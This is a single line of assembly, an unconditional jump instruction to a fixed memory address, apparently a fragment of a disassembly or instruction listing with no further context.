jmp 0x10002ec0